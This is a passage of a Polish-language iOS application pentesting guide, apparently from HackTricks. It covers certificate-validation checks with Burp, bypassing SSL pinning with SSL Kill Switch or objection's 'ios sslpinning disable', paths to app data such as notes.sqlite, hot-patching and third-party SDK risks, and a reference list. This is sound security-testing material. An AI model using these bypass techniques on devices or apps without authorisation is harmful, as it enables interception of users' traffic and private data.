Aby sprawdzić ten problem za pomocą Burp, po zaufaniu Burp CA na iPhonie, możesz **utworzyć nowy certyfikat z Burp dla innej nazwy hosta** i go użyć. Jeśli aplikacja nadal działa, to coś jest podatne.
|
||
|
||
### Pinning Certyfikatu
|
||
|
||
Jeśli aplikacja poprawnie używa SSL Pinning, to aplikacja będzie działać tylko wtedy, gdy certyfikat jest tym, którego się oczekuje. Podczas testowania aplikacji **może to być problem, ponieważ Burp będzie serwować swój własny certyfikat.**\
|
||
Aby obejść tę ochronę na urządzeniu z jailbreakiem, możesz zainstalować aplikację [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) lub zainstalować [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||
|
||
Możesz również użyć **objection's** `ios sslpinning disable`
|
||
|
||
## Różne
|
||
|
||
- W **`/System/Library`** możesz znaleźć frameworki zainstalowane w telefonie używane przez aplikacje systemowe
|
||
- Aplikacje zainstalowane przez użytkownika z App Store znajdują się w **`/User/Applications`**
|
||
- A **`/User/Library`** zawiera dane zapisane przez aplikacje na poziomie użytkownika
|
||
- Możesz uzyskać dostęp do **`/User/Library/Notes/notes.sqlite`**, aby przeczytać notatki zapisane w aplikacji.
|
||
- W folderze zainstalowanej aplikacji (**`/User/Applications/<APP ID>/`**) możesz znaleźć kilka interesujących plików:
|
||
- **`iTunesArtwork`**: Ikona używana przez aplikację
|
||
- **`iTunesMetadata.plist`**: Informacje o aplikacji używane w App Store
|
||
- **`/Library/*`**: Zawiera preferencje i pamięć podręczną. W **`/Library/Cache/Snapshots/*`** możesz znaleźć zrzut wykonany dla aplikacji przed wysłaniem jej w tle.
|
||
|
||
### Hot Patching/Wymuszone Aktualizacje
|
||
|
||
Deweloperzy mogą zdalnie **natychmiastowo łatać wszystkie instalacje swojej aplikacji** bez konieczności ponownego przesyłania aplikacji do App Store i czekania na jej zatwierdzenie.\
|
||
W tym celu zazwyczaj używa się [**JSPatch**](https://github.com/bang590/JSPatch)**.** Istnieją jednak również inne opcje, takie jak [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||
**To niebezpieczny mechanizm, który może być nadużywany przez złośliwe SDK, dlatego zaleca się sprawdzenie, która metoda jest używana do automatycznych aktualizacji (jeśli w ogóle) i przetestowanie jej.** Możesz spróbować pobrać wcześniejszą wersję aplikacji w tym celu.
|
||
|
||
### Strony Trzecie
|
||
|
||
Znaczącym wyzwaniem związanym z **SDK stron trzecich** jest **brak szczegółowej kontroli** nad ich funkcjonalnościami. Deweloperzy stają przed wyborem: albo zintegrować SDK i zaakceptować wszystkie jego funkcje, w tym potencjalne luki w zabezpieczeniach i obawy dotyczące prywatności, albo całkowicie zrezygnować z jego korzyści. Często deweloperzy nie są w stanie sami łatać luk w tych SDK. Ponadto, gdy SDK zyskują zaufanie w społeczności, niektóre mogą zacząć zawierać złośliwe oprogramowanie.
|
||
|
||
Usługi świadczone przez SDK stron trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczeń użytkowników. Jednak wprowadza to ryzyko, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest, aby ograniczyć informacje udostępniane usługom stron trzecich do niezbędnych i upewnić się, że żadne wrażliwe dane nie są ujawniane.
|
||
|
||
Implementacja usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikowalnych (PII).
|
||
|
||
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. To narzędzie powinno być uruchamiane w odniesieniu do aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki.
|
||
```bash
|
||
otool -L <application_path>
|
||
```
|
||
## **Odnośniki i dodatkowe zasoby**
|
||
|
||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||
- [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
|
||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/)
|
||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/)
|
||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/)
|
||
- [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||
- [https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way](https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053)
|
||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060)
|
||
- [https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/](https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
||
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
||
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) kurs IOS za darmo([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||
- [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
||
- [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
||
- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< wersja Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< wersja Swift
|
||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|